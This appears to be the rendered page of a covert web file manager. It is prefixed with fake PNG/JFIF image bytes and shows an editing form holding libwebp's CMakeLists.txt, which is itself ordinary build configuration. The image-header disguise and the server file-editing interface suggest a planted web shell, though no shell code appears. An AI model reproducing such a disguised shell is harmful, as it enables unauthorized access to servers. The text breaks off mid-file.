�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Flibwebp%2F'>libwebp</a>/</p><hr><h3>✏️ Editing: CMakeLists.txt</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#  Copyright (c) 2020 Google LLC.
#
#  Use of this source code is governed by a BSD-style license
#  that can be found in the LICENSE file in the root of the source
#  tree. An additional intellectual property rights grant can be found
#  in the file PATENTS.  All contributing project authors may
#  be found in the AUTHORS file in the root of the source tree.

if(APPLE)
  cmake_minimum_required(VERSION 3.17)
else()
  cmake_minimum_required(VERSION 3.16)
endif()

project(WebP C)

# Options for coder / decoder executables.
if(BUILD_SHARED_LIBS)
  set(WEBP_LINK_STATIC_DEFAULT OFF)
else()
  set(WEBP_LINK_STATIC_DEFAULT ON)
endif()
option(WEBP_LINK_STATIC
       &quot;Link using static libraries. If OFF, use dynamic libraries.&quot;
       ${WEBP_LINK_STATIC_DEFAULT})
if(NOT EMSCRIPTEN)
  # Disable SIMD on Emscripten by default, as it&#039;s a new unstable Wasm feature.
  # Users can still explicitly opt-in to make a SIMD-enabled build.
  set(WEBP_ENABLE_SIMD_DEFAULT ON)
endif()
option(WEBP_ENABLE_SIMD &quot;Enable any SIMD optimization.&quot;
       ${WEBP_ENABLE_SIMD_DEFAULT})
option(WEBP_BUILD_ANIM_UTILS &quot;Build animation utilities.&quot; ON)
option(WEBP_BUILD_CWEBP &quot;Build the cwebp command line tool.&quot; ON)
option(WEBP_BUILD_DWEBP &quot;Build the dwebp command line tool.&quot; ON)
option(WEBP_BUILD_GIF2WEBP &quot;Build the gif2webp conversion tool.&quot; ON)
option(WEBP_BUILD_IMG2WEBP &quot;Build the img2webp animation tool.&quot; ON)
option(WEBP_BUILD_VWEBP &quot;Build the vwebp viewer tool.&quot; ON)
option(WEBP_BUILD_WEBPINFO &quot;Build the webpinfo command line tool.&quot; ON)
option(WEBP_BUILD_LIBWEBPMUX &quot;Build the libwebpmux library.&quot; ON)
option(WEBP_BUILD_WEBPMUX &quot;Build the webpmux command line tool.&quot; ON)
option(WEBP_BUILD_EXTRAS &quot;Build extras.&quot; ON)
option(WEBP_BUILD_WEBP_JS &quot;Emscripten build of webp.js.&quot; OFF)
option(WEBP_BUILD_FUZZTEST &quot;Build the fuzztest tests.&quot; OFF)
option(WEBP_USE_THREAD &quot;Enable threading support&quot; ON)
option(WEBP_NEAR_LOSSLESS &quot;Enable near-lossless encoding&quot; ON)
option(WEBP_ENABLE_SWAP_16BIT_CSP &quot;Enable byte swap for 16 bit colorspaces.&quot;
       OFF)
option(
  WEBP_ENABLE_FBOUNDS_SAFETY
  &quot;Enable -fbounds-safety for the part of the codebase which supports it. This expects an experimental toolchain.&quot;
  OFF)
set(WEBP_BITTRACE &quot;0&quot; CACHE STRING &quot;Bit trace mode (0=none, 1=bit, 2=bytes)&quot;)
set_property(CACHE WEBP_BITTRACE PROPERTY STRINGS 0 1 2)
option(WEBP_ENABLE_WUNUSED_RESULT &quot;Add [[nodiscard]] to some functions. \
       CMake must be at least 3.21 to force C23&quot; OFF)

if(WEBP_LINK_STATIC)
  if(WIN32)
    set(CMAKE_FIND_LIBRARY_SUFFIXES .lib .a ${CMAKE_FIND_LIBRARY_SUFFIXES})
  else()
    set(CMAKE_FIND_LIBRARY_SUFFIXES .a ${CMAKE_FIND_LIBRARY_SUFFIXES})
  endif()
  set(CMAKE_POSITION_INDEPENDENT_CODE ON)
  # vwebp does not compile on Ubuntu with static libraries so disabling it for
  # now.
  set(WEBP_BUILD_VWEBP OFF)
endif()

# Option needed for handling Unicode file names on Windows.
if(WIN32)
  option(WEBP_UNICODE &quot;Build Unicode executables.&quot; ON)
endif()

if(WEBP_BUILD_WEBP_JS)
  set(WEBP_BUILD_ANIM_UTILS OFF)
  set(WEBP_BUILD_CWEBP OFF)
  set(WEBP_BUILD_DWEBP OFF)
  set(WEBP_BUILD_GIF2WEBP OFF)
  set(WEBP_BUILD_IMG2WEBP OFF)
  set(WEBP_BUILD_VWEBP OFF)
  set(WEBP_BUILD_WEBPINFO OFF)
  set(WEBP_BUILD_WEBPMUX OFF)
  set(WEBP_BUILD_EXTRAS OFF)
  set(WEBP_USE_THREAD OFF)

  if(WEBP_ENABLE_SIMD)
    message(NOTICE
            &quot;wasm2js does not support SIMD, disabling webp.js generation.&quot;)
  endif()

  if(NOT EMSCRIPTEN_VERSION)
    message(
      WARNING
        &quot;EMSCRIPTEN_VERSION not detected!\n&quot;
        &quot;WEBP_BUILD_WEBP_JS is only supported with emcmake/emmake.\n&quot;
        &quot;The build may fail if those tools are not used. See webp_js/README.md.&quot;
    )
  endif()
endif()

set(SHARPYUV_DEP_LIBRARIES)
set(SHARPYUV_DEP_INCLUDE_DIRS)
set(WEBP_DEP_LIBRARIES)

if(NOT CMAKE_BUILD_TYPE)
  set(CMAKE_BUILD_TYPE &quot;Release&quot;
      CACHE STRING &quot;Build type: Release, Debug, MinSizeRel or RelWithDebInfo&quot;
            FORCE)
endif()

# Include dependencies.
if(WEBP_BUILD_ANIM_UTILS
   OR WEBP_BUILD_CWEBP
   OR WEBP_BUILD_DWEBP
   OR WEBP_BUILD_EXTRAS
   OR WEBP_BUILD_GIF2WEBP
   OR WEBP_BUILD_IMG2WEBP)
  set(WEBP_FIND_IMG_LIBS TRUE)
else()
  set(WEBP_FIND_IMG_LIBS FALSE)
endif()
include(cmake/deps.cmake)
include(GNUInstallDirs)

if(BUILD_SHARED_LIBS AND NOT DEFINED CMAKE_INSTALL_RPATH)
  # Set the rpath to match autoconf/libtool behavior. Note this must be set
  # before target creation.
  set(CMAKE_INSTALL_RPATH &quot;${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR}&quot;)
endif()

# ##############################################################################
# Options.
if(WEBP_ENABLE_SWAP_16BIT_CSP)
  add_definitions(-DWEBP_SWAP_16BIT_CSP=1)
endif()

if(NOT WEBP_BITTRACE STREQUAL &quot;0&quot;)
  add_definitions(-DBITTRACE=${WEBP_BITTRACE})
endif()

if(WEBP_UNICODE)
  # Windows recommends setting both UNICODE and _UNICODE.
  add_definitions(-DUNICODE -D_UNICODE)
endif()

if(WIN32 AND BUILD_SHARED_LIBS)
  add_definitions(-DWEBP_DLL)
endif()

# Compatibility with autoconf configure script&#039;s way of setting this
if(CMAKE_C_BYTE_ORDER STREQUAL &quot;BIG_ENDIAN&quot;)
  set(WORDS_BIGENDIAN TRUE)
elseif(CMAKE_C_BYTE_ORDER STREQUAL &quot;LITTLE_ENDIAN&quot;)
  set(WORDS_BIGENDIAN FALSE)
else()
  set(WORDS_BIGENDIAN FALSE)
  message(WARNING &quot;Endianness could not be determined.&quot;)
endif()

# pkg-config variables used by *.pc.in.
set(prefix ${CMAKE_INSTALL_PREFIX})
set(exec_prefix &quot;\${prefix}&quot;)
if(IS_ABSOLUTE &quot;${CMAKE_INSTALL_LIBDIR}&quot;)
  set(libdir &quot;${CMAKE_INSTALL_LIBDIR}&quot;)
else()
  set(libdir &quot;\${exec_prefix}/${CMAKE_INSTALL_LIBDIR}&quot;)
endif()
if(IS_ABSOLUTE &quot;${CMAKE_INSTALL_INCLUDEDIR}&quot;)
  set(includedir &quot;${CMAKE_INSTALL_INCLUDEDIR}&quot;)
else()
  set(includedir &quot;\${prefix}/${CMAKE_INSTALL_INCLUDEDIR}&quot;)
endif()
set(PTHREAD_LIBS ${CMAKE_THREAD_LIBS_INIT})
set(INSTALLED_LIBRARIES)

if(MSVC)
  # match the naming convention used by nmake
  set(webp_libname_prefix &quot;lib&quot;)
  set(CMAKE_SHARED_LIBRARY_PREFIX &quot;${webp_libname_prefix}&quot;)
  set(CMAKE_IMPORT_LIBRARY_PREFIX &quot;${webp_libname_prefix}&quot;)
  set(CMAKE_STATIC_LIBRARY_PREFIX &quot;${webp_libname_prefix}&quot;)
endif()

if(NOT WIN32)
  set(CMAKE_C_VISIBILITY_PRESET hidden)
endif()

if(WEBP_ENABLE_WUNUSED_RESULT)
  if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.21.0)
    set(CMAKE_C_STANDARD 23)
  else()
    unset(CMAKE_C_STANDARD)
    add_compile_options($&lt;$&lt;COMPILE_LANGUAGE:C&gt;:-std=gnu2x&gt;)
  endif()
  add_compile_options(-Wunused-result)
  add_definitions(-DWEBP_ENABLE_NODISCARD=1)
endif()

# ##############################################################################
# Android only.
if(ANDROID)
  include_directories(${ANDROID_NDK}/sources/android/cpufeatures)
  add_library(cpufeatures-webp STATIC
              ${ANDROID_NDK}/sources/android/cpufeatures/cpu-features.c)
  list(APPEND INSTALLED_LIBRARIES cpufeatures-webp)
  target_link_libraries(cpufeatures-webp dl)
  set(SHARPYUV_DEP_LIBRARIES ${SHARPYUV_DEP_LIBRARIES} cpufeatures-webp)
  set(WEBP_DEP_LIBRARIES ${WEBP_DEP_LIBRARIES} cpufeatures-webp)
  set(cpufeatures_include_dir ${ANDROID_NDK}/sources/android/cpufeatures)
  set(SHARPYUV_DEP_INCLUDE_DIRS ${SHARPYUV_DEP_INCLUDE_DIRS}
                                ${cpufeatures_include_dir})
  include_directories(AFTER SYSTEM ${cpufeatures_include_dir})
  add_definitions(-DHAVE_CPU_FEATURES_H=1)
  set(HAVE_CPU_FEATURES_H 1)
else()
  set(HAVE_CPU_FEATURES_H 0)
endif()

function(configure_pkg_config FILE)
  configure_file(&quot;${CMAKE_CURRENT_SOURCE_DIR}/${FILE}.in&quot;
                 &quot;${CMAKE_CURRENT_BINARY_DIR}/${FILE}&quot; @ONLY)

  if(HAVE_MATH_LIBRARY)
    # MSVC doesn&#039;t have libm
    file(READ ${CMAKE_CURRENT_BINARY_DIR}/${FILE} data)
    string(REPLACE &quot;-lm&quot; &quot;&quot; data ${data})
    file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/${FILE} ${data})
  endif()

  install(FILES &quot;${CMAKE_CURRENT_BINARY_DIR}/${FILE}&quot;
          DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig)
endfunction()

# ##############################################################################
# WebP source files. Read the Makefile.am to get the source files.

# We expect the Makefiles to define the sources as defined in the first regex.
# E.g.: libimagedec_la_SOURCES  = image_dec.c image_dec.h
function(parse_Makefile_am FOLDER VAR SRC_REGEX)
  file(READ ${FOLDER}/Makefile.am MAKEFILE_AM)
  string(REGEX MATCHALL &quot;${SRC_REGEX}_SOURCES[ ]*\\+?=[ ]+[0-9a-z\\._ ]*&quot;
               FILES_PER_LINE ${MAKEFILE_AM})
  set(SRCS ${${VAR}})
  foreach(FILES ${FILES_PER_LINE})
    string(FIND ${FILES} &quot;=&quot; OFFSET)
    math(EXPR OFFSET &quot;${OFFSET} + 2&quot;)
    string(SUBSTRING ${FILES} ${OFFSET} -1 FILES)
    if(FILES)
      string(REGEX MATCHALL &quot;[0-9a-z\\._]+&quot; FILES ${FILES})
      foreach(FILE ${FILES})
        list(APPEND SRCS ${FOLDER}/${FILE})
      endforeach()
    endif()
  endforeach()
  set(${VAR} ${SRCS} PARENT_SCOPE)
endfunction()

set(WEBP_SRC_DIR ${CMAKE_CURRENT_SOURCE_DIR}/src)
parse_makefile_am(${WEBP_SRC_DIR}/dec &quot;WEBP_DEC_SRCS&quot; &quot;&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/demux &quot;WEBP_DEMUX_SRCS&quot; &quot;&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/dsp &quot;WEBP_DSP_COMMON_SRCS&quot; &quot;COMMON&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/dsp &quot;WEBP_DSP_ENC_SRCS&quot; &quot;ENC&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/dsp &quot;WEBP_DSP_ENC_SRCS&quot; &quot;dsp_[^ ]*&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/dsp &quot;WEBP_DSP_DEC_SRCS&quot; &quot;decode_[^ ]*&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/enc &quot;WEBP_ENC_SRCS&quot; &quot;&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/utils &quot;WEBP_UTILS_COMMON_SRCS&quot; &quot;COMMON&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/utils &quot;WEBP_UTILS_ENC_SRCS&quot; &quot;ENC&quot;)
parse_makefile_am(${WEBP_SRC_DIR}/utils &quot;WEBP_UTILS_DEC_SRCS&quot; &quot;decode_[^ ]*&quot;)

# Remove the files specific to SIMD we don&#039;t use.
foreach(FILE ${WEBP_SIMD_FILES_NOT_TO_INCLUDE})
  list(REMOVE_ITEM WEBP_DSP_ENC_SRCS ${FILE})
  list(REMOVE_ITEM WEBP_DSP_DEC_SRCS ${FILE})
endforeach()

# Generate the config.h file.
configure_file(${CMAKE_CURRENT_LIST_DIR}/cmake/config.h.in
               ${CMAKE_CURRENT_BINARY_DIR}/src/webp/config.h @ONLY)
add_definitions(-DHAVE_CONFIG_H)

# Set the version numbers.
macro(set_version FILE TARGET_NAME NAME_IN_MAKEFILE)
  file(READ ${CMAKE_CURRENT_SOURCE_DIR}/${FILE} SOURCE_FILE)
  string(REGEX MATCH
               &quot;${NAME_IN_MAKEFILE}_la_LDFLAGS[^\n]* -version-info [0-9:]+&quot; TMP
               ${SOURCE_FILE})
  string(REGEX MATCH &quot;[0-9:]+&quot; TMP ${TMP})
  string(REGEX REPLACE &quot;:&quot; &quot; &quot; LT_VERSION ${TMP})

  # See the libtool docs for more information:
  # https://www.gnu.org/software/libtool/manual/libtool.html#Updating-version-info
  #
  # c=&lt;current&gt;, a=&lt;age&gt;, r=&lt;revision&gt;
  #
  # libtool generates a .so file as .so.[c-a].a.r, while -version-info c:r:a is
  # passed to libtool.
  #
  # We set FULL = [c-a].a.r and MAJOR = [c-a].
  separate_arguments(LT_VERSION)
  list(GET LT_VERSION 0 LT_CURRENT)
  list(GET LT_VERSION 1 LT_REVISION)
  list(GET LT_VERSION 2 LT_AGE)
  math(EXPR LT_CURRENT_MINUS_AGE &quot;${LT_CURRENT} - ${LT_AGE}&quot;)

  set_target_properties(
    ${TARGET_NAME}
    PROPERTIES VERSION ${LT_CURRENT_MINUS_AGE}.${LT_AGE}.${LT_REVISION}
               SOVERSION ${LT_CURRENT_MINUS_AGE})
  if(APPLE)
    # For compatibility, set MACHO_COMPATIBILITY_VERSION and
    # MACHO_CURRENT_VERSION to match libtool. These properties were introduced
    # in 3.17:
    # https://cmake.org/cmake/help/latest/prop_tgt/MACHO_COMPATIBILITY_VERSION.html
    math(EXPR LIBWEBP_MACHO_COMPATIBILITY_VERSION &quot;${LT_CURRENT} + 1&quot;)
    set_target_properties(
      ${TARGET_NAME}
      PROPERTIES MACHO_COMPATIBILITY_VERSION
                 ${LIBWEBP_MACHO_COMPATIBILITY_VERSION}
                 MACHO_CURRENT_VERSION
                 ${LIBWEBP_MACHO_COMPATIBILITY_VERSION}.${LT_REVISION})
  endif()
endmacro()

# ##############################################################################
# Build the webpdecoder library.

# Creates a source file with an unused stub function in $CMAKE_BINARY_DIR and
# adds it to the specified target. Currently used only with Xcode.
#
# See also:
# https://cmake.org/cmake/help/v3.18/command/add_library.html#object-libraries
# &quot;Some native build systems (such as Xcode) may not like targets that have only
# object files, so consider adding at least one real source file to any target
# that references $&lt;TARGET_OBJECTS:objlib&gt;.&quot;
function(libwebp_add_stub_file TARGET)
  set(stub_source_dir &quot;${CMAKE_BINARY_DIR}&quot;)
  set(stub_source_file &quot;${stub_source_dir}/libwebp_${TARGET}_stub.c&quot;)
  set(stub_source_code
      &quot;// Generated file. DO NOT EDIT!\n&quot;
      &quot;// C source file created for target ${TARGET}.\n&quot;
      &quot;void libwebp_${TARGET}_stub_function(void)\;\n&quot;
      &quot;void libwebp_${TARGET}_stub_function(void) {}\n&quot;)
  file(WRITE &quot;${stub_source_file}&quot; ${stub_source_code})

  target_sources(${TARGET} PRIVATE ${stub_source_file})
endfunction()

parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/sharpyuv &quot;WEBP_SHARPYUV_SRCS&quot; &quot;&quot;)
add_library(sharpyuv ${WEBP_SHARPYUV_SRCS})
target_link_libraries(sharpyuv PRIVATE ${SHARPYUV_DEP_LIBRARIES})
set_version(sharpyuv/Makefile.am sharpyuv sharpyuv)
target_include_directories(
  sharpyuv
  PUBLIC $&lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}&gt;
         $&lt;INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}/webp&gt;
  PRIVATE ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}
          ${CMAKE_CURRENT_SOURCE_DIR}/src)
set_target_properties(
  sharpyuv
  PROPERTIES PUBLIC_HEADER &quot;${CMAKE_CURRENT_SOURCE_DIR}/sharpyuv/sharpyuv.h;\
${CMAKE_CURRENT_SOURCE_DIR}/sharpyuv/sharpyuv_csp.h&quot;)
configure_pkg_config(&quot;sharpyuv/libsharpyuv.pc&quot;)
install(
  TARGETS sharpyuv
  EXPORT ${PROJECT_NAME}Targets
  PUBLIC_HEADER DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/webp/sharpyuv
  INCLUDES
  DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}
  ${CMAKE_INSTALL_INCLUDEDIR}/webp
  ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
  LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
  RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})

if(MSVC)
  # avoid security warnings for e.g., fopen() used in the examples.
  add_definitions(-D_CRT_SECURE_NO_WARNINGS)
else()
  add_compile_options(-Wall)
endif()
add_library(webpdspdecode OBJECT ${WEBP_DSP_COMMON_SRCS} ${WEBP_DSP_DEC_SRCS})
target_include_directories(webpdspdecode PUBLIC ${CMAKE_CURRENT_BINARY_DIR}
                           PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
add_library(webpdecode OBJECT ${WEBP_DEC_SRCS})
target_link_libraries(webpdecode PRIVATE webpdspdecode)
target_include_directories(webpdecode PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
add_library(webputilsdecode OBJECT ${WEBP_UTILS_COMMON_SRCS}
                                   ${WEBP_UTILS_DEC_SRCS})
target_include_directories(webputilsdecode PRIVATE ${CMAKE_CURRENT_BINARY_DIR}
                                                   ${CMAKE_CURRENT_SOURCE_DIR})
add_library(
  webpdecoder $&lt;TARGET_OBJECTS:webpdecode&gt; $&lt;TARGET_OBJECTS:webpdspdecode&gt;
              $&lt;TARGET_OBJECTS:webputilsdecode&gt;)
if(XCODE)
  libwebp_add_stub_file(webpdecoder)
endif()
target_link_libraries(webpdecoder ${WEBP_DEP_LIBRARIES})
target_include_directories(
  webpdecoder PRIVATE ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}
  INTERFACE $&lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/src&gt;
            $&lt;INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}&gt;)
set_target_properties(
  webpdecoder
  PROPERTIES PUBLIC_HEADER &quot;${CMAKE_CURRENT_SOURCE_DIR}/src/webp/decode.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/types.h&quot;)

configure_pkg_config(&quot;src/libwebpdecoder.pc&quot;)

# Build the webp library.
add_library(webpencode OBJECT ${WEBP_ENC_SRCS})
target_include_directories(
  webpencode PRIVATE ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}
                     ${CMAKE_CURRENT_SOURCE_DIR}/src)
add_library(webpdsp OBJECT ${WEBP_DSP_COMMON_SRCS} ${WEBP_DSP_DEC_SRCS}
                           ${WEBP_DSP_ENC_SRCS})
target_include_directories(webpdsp PRIVATE ${CMAKE_CURRENT_BINARY_DIR}
                                           ${CMAKE_CURRENT_SOURCE_DIR})
add_library(webputils OBJECT ${WEBP_UTILS_COMMON_SRCS} ${WEBP_UTILS_DEC_SRCS}
                             ${WEBP_UTILS_ENC_SRCS})
target_include_directories(webputils PRIVATE ${CMAKE_CURRENT_BINARY_DIR}
                                             ${CMAKE_CURRENT_SOURCE_DIR})
add_library(webp $&lt;TARGET_OBJECTS:webpdecode&gt; $&lt;TARGET_OBJECTS:webpdsp&gt;
                 $&lt;TARGET_OBJECTS:webpencode&gt; $&lt;TARGET_OBJECTS:webputils&gt;)
if(WEBP_ENABLE_FBOUNDS_SAFETY)
  # Enable -fbounds-safety only for webputils and webpdecode(r) for now.
  add_definitions(-DWEBP_SUPPORT_FBOUNDS_SAFETY=1)
  target_compile_options(webputils PRIVATE -fbounds-safety)
  target_compile_options(webputilsdecode PRIVATE -fbounds-safety)
  target_compile_options(webpdecode PRIVATE -fbounds-safety)
  target_compile_options(webpdecoder PRIVATE -fbounds-safety)
endif()

target_link_libraries(webp sharpyuv)
if(XCODE)
  libwebp_add_stub_file(webp)
endif()
target_link_libraries(webp ${WEBP_DEP_LIBRARIES})
target_include_directories(
  webp PUBLIC $&lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/src&gt;
              $&lt;INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}&gt;
  PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
set_target_properties(
  webp
  PROPERTIES PUBLIC_HEADER &quot;${CMAKE_CURRENT_SOURCE_DIR}/src/webp/decode.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/encode.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/types.h&quot;)

# Make sure the OBJECT libraries are built with position independent code (it is
# not ON by default).
set_target_properties(webpdecode webpdspdecode webputilsdecode webpencode
                      webpdsp webputils PROPERTIES POSITION_INDEPENDENT_CODE ON)
configure_pkg_config(&quot;src/libwebp.pc&quot;)

# Build the webp demux library.
add_library(webpdemux ${WEBP_DEMUX_SRCS})
target_link_libraries(webpdemux webp)
target_include_directories(
  webpdemux PRIVATE ${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}
  PUBLIC $&lt;INSTALL_INTERFACE:include&gt;)
set_target_properties(
  webpdemux
  PROPERTIES
    PUBLIC_HEADER
    &quot;${CMAKE_CURRENT_SOURCE_DIR}/src/webp/decode.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/demux.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/mux_types.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/types.h&quot;)

configure_pkg_config(&quot;src/demux/libwebpdemux.pc&quot;)

set_version(src/Makefile.am webp webp)
set_version(src/Makefile.am webpdecoder webpdecoder)
set_version(src/demux/Makefile.am webpdemux webpdemux)
file(READ ${CMAKE_CURRENT_SOURCE_DIR}/configure.ac CONFIGURE_FILE)
string(REGEX MATCH &quot;AC_INIT\\([^\n]*\\[[0-9\\.]+\\]&quot; TMP ${CONFIGURE_FILE})
string(REGEX MATCH &quot;[0-9\\.]+&quot; PROJECT_VERSION ${TMP})

# Define the libraries to install.
list(APPEND INSTALLED_LIBRARIES webpdecoder webp webpdemux)

# Deal with SIMD. Change the compile flags for SIMD files we use.
list(LENGTH WEBP_SIMD_FILES_TO_INCLUDE WEBP_SIMD_FILES_TO_INCLUDE_LENGTH)
math(EXPR WEBP_SIMD_FILES_TO_INCLUDE_RANGE
     &quot;${WEBP_SIMD_FILES_TO_INCLUDE_LENGTH}-1&quot;)

foreach(I_FILE RANGE ${WEBP_SIMD_FILES_TO_INCLUDE_RANGE})
  list(GET WEBP_SIMD_FILES_TO_INCLUDE ${I_FILE} FILE)
  list(GET WEBP_SIMD_FLAGS_TO_INCLUDE ${I_FILE} SIMD_COMPILE_FLAG)
  set_source_files_properties(${FILE} PROPERTIES COMPILE_FLAGS
                                                 ${SIMD_COMPILE_FLAG})
endforeach()

if(NOT WEBP_BUILD_LIBWEBPMUX)
  set(WEBP_BUILD_GIF2WEBP OFF)
  set(WEBP_BUILD_IMG2WEBP OFF)
  set(WEBP_BUILD_WEBPMUX OFF)
endif()

if(NOT GIF_FOUND)
  set(WEBP_BUILD_ANIM_UTILS OFF)
  set(WEBP_BUILD_GIF2WEBP OFF)
endif()

# Build the executables if asked for.
if(WEBP_BUILD_ANIM_UTILS
   OR WEBP_BUILD_CWEBP
   OR WEBP_BUILD_DWEBP
   OR WEBP_BUILD_EXTRAS
   OR WEBP_BUILD_FUZZTEST
   OR WEBP_BUILD_GIF2WEBP
   OR WEBP_BUILD_IMG2WEBP
   OR WEBP_BUILD_VWEBP
   OR WEBP_BUILD_WEBPMUX
   OR WEBP_BUILD_WEBPINFO)
  # Example utility library.
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;EXAMPLEUTIL_SRCS&quot;
                    &quot;example_util_[^ ]*&quot;)
  list(APPEND EXAMPLEUTIL_SRCS ${CMAKE_CURRENT_SOURCE_DIR}/examples/stopwatch.h)
  add_library(exampleutil STATIC ${EXAMPLEUTIL_SRCS})
  target_include_directories(
    exampleutil PUBLIC $&lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/src&gt;)

  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/imageio &quot;IMAGEIOUTILS_SRCS&quot;
                    &quot;imageio_util_[^ ]*&quot;)
  add_library(imageioutil STATIC ${IMAGEIOUTILS_SRCS})
  target_link_libraries(imageioutil webp)
  target_link_libraries(exampleutil imageioutil)

  # Image-decoding utility library.
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/imageio &quot;IMAGEDEC_SRCS&quot;
                    &quot;imagedec_[^ ]*&quot;)
  add_library(imagedec STATIC ${IMAGEDEC_SRCS})
  target_link_libraries(imagedec imageioutil webpdemux webp
                        ${WEBP_DEP_IMG_LIBRARIES})

  # Image-encoding utility library.
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/imageio &quot;IMAGEENC_SRCS&quot;
                    &quot;imageenc_[^ ]*&quot;)
  add_library(imageenc STATIC ${IMAGEENC_SRCS})
  target_link_libraries(imageenc imageioutil webp ${WEBP_DEP_IMG_LIBRARIES})

  set_property(
    TARGET exampleutil imageioutil imagedec imageenc
    PROPERTY INCLUDE_DIRECTORIES ${CMAKE_CURRENT_SOURCE_DIR}/src
             ${CMAKE_CURRENT_BINARY_DIR}/src)
endif()

if(WEBP_BUILD_DWEBP)
  # dwebp
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;DWEBP_SRCS&quot; &quot;dwebp&quot;)
  add_executable(dwebp ${DWEBP_SRCS})
  target_link_libraries(dwebp exampleutil imagedec imageenc)
  target_include_directories(dwebp PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS dwebp RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_CWEBP)
  # cwebp
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;CWEBP_SRCS&quot; &quot;cwebp&quot;)
  add_executable(cwebp ${CWEBP_SRCS})
  target_link_libraries(cwebp exampleutil imagedec webp)
  target_include_directories(cwebp PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS cwebp RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_LIBWEBPMUX)
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/src/mux &quot;WEBP_MUX_SRCS&quot; &quot;&quot;)
  add_library(libwebpmux ${WEBP_MUX_SRCS})
  target_link_libraries(libwebpmux webp)
  target_include_directories(libwebpmux PRIVATE ${CMAKE_CURRENT_BINARY_DIR}
                                                ${CMAKE_CURRENT_SOURCE_DIR})
  set_version(src/mux/Makefile.am libwebpmux webpmux)
  set_target_properties(
    libwebpmux
    PROPERTIES PUBLIC_HEADER &quot;${CMAKE_CURRENT_SOURCE_DIR}/src/webp/mux.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/mux_types.h;\
${CMAKE_CURRENT_SOURCE_DIR}/src/webp/types.h;&quot;)
  set_target_properties(libwebpmux PROPERTIES OUTPUT_NAME webpmux)
  list(APPEND INSTALLED_LIBRARIES libwebpmux)
  configure_pkg_config(&quot;src/mux/libwebpmux.pc&quot;)
endif()

if(WEBP_BUILD_GIF2WEBP)
  # gif2webp
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;GIF2WEBP_SRCS&quot;
                    &quot;gif2webp&quot;)
  add_executable(gif2webp ${GIF2WEBP_SRCS})
  target_link_libraries(gif2webp exampleutil imageioutil webp libwebpmux
                        GIF::GIF)
  target_include_directories(gif2webp PRIVATE ${CMAKE_CURRENT_BINARY_DIR}/src)
  install(TARGETS gif2webp RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})
endif()

if(WEBP_BUILD_IMG2WEBP)
  # img2webp
  parse_makefile_am(${CMAKE_CURRENT_SOURCE_DIR}/examples &quot;IMG2WEBP_SRCS&quot;
                    &quot;img2webp&quot;)
  add_executable(img2webp ${IMG2WEBP_SRCS})
  target_link_libraries(img2webp exampleutil imagedec imageioutil webp
                        libwebpmux)
